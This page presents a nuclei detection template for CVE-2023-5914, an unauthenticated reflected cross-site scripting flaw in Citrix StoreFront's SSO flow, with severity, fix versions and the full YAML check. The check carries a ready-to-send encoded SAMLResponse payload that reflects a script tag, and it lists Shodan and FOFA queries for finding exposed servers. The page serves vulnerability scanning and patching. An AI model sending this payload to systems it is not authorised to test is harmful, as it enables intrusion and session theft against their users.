Citrix StoreFront - Cross-Site Scripting

mediumseverity

6.1CVSS score

75.5%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Reflected Cross-Site Scripting issue which is exploitable without authentication. This vulnerability was exploitable through coercing an error message during an XML parsing procedure in the SSO flow.

Impact

Unauthenticated attackers can inject malicious JavaScript via reflected XSS during XML parsing in the SSO flow, potentially stealing user credentials or session tokens.

Fix

Apply Citrix security updates immediately. Update to StoreFront versions 2402, 2203 CU1, 2203 LTSR CU5, 1912 LTSR CU8, or later.

How to confirm it

Send: POST {{BaseURL}}/Citrix/teststoreAuth/SamlTest
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "<script>alert(1)</script>", "XmlException")

Run it with nuclei: nuclei -id CVE-2023-5914 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-5914

info:
  name: Citrix StoreFront - Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: |
    Reflected Cross-Site Scripting issue which is exploitable without authentication. This vulnerability was exploitable through coercing an error message during an XML parsing procedure in the SSO flow.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript via reflected XSS during XML parsing in the SSO flow, potentially stealing user credentials or session tokens.
  remediation: |
    Apply Citrix security updates immediately. Update to StoreFront versions 2402, 2203 CU1, 2203 LTSR CU5, 1912 LTSR CU8, or later.
  reference:
    - https://www.assetnote.io/resources/research/continuing-the-citrix-saga-cve-2023-5914-cve-2023-6184
    - https://support.citrix.com/article/CTX583759/citrix-storefront-security-bulletin-for-cve20235914
    - https://www.youtube.com/watch?v=t8MeUQrPqec
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5914
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-5914
    cwe-id: CWE-79
    epss-score: 0.75484
    epss-percentile: 0.99519
    cpe: cpe:2.3:a:cloud:citrix_storefront:*:*:*:*:ltsr:*:*:*
  metadata:
    max-request: 1
    vendor: cloud
    product: citrix_storefront
    shodan-query:
      - html:"/Citrix/StoreWeb"
      - http.html:"/citrix/storeweb"
    fofa-query: body="/citrix/storeweb"
  tags: cve,xss,citrix,storefront,cve2023,cloud,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/Citrix/teststoreAuth/SamlTest"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "SAMLResponse=q1YKdvT1CUotLsjPK05VskLhBrhHlSVVOpkkhZebJRs7ZUQahVp6ZkYVp7iUVEUaexUkewTmRhkHmkeGV%2bQk5wXm%2bwZn5yZ5BJr7GPtlJefmlKc4R%2bWluBRnBmSVl0XlWpYFpNvaKtUCAA%3d%3d"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<script>alert(1)</script>", "XmlException")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from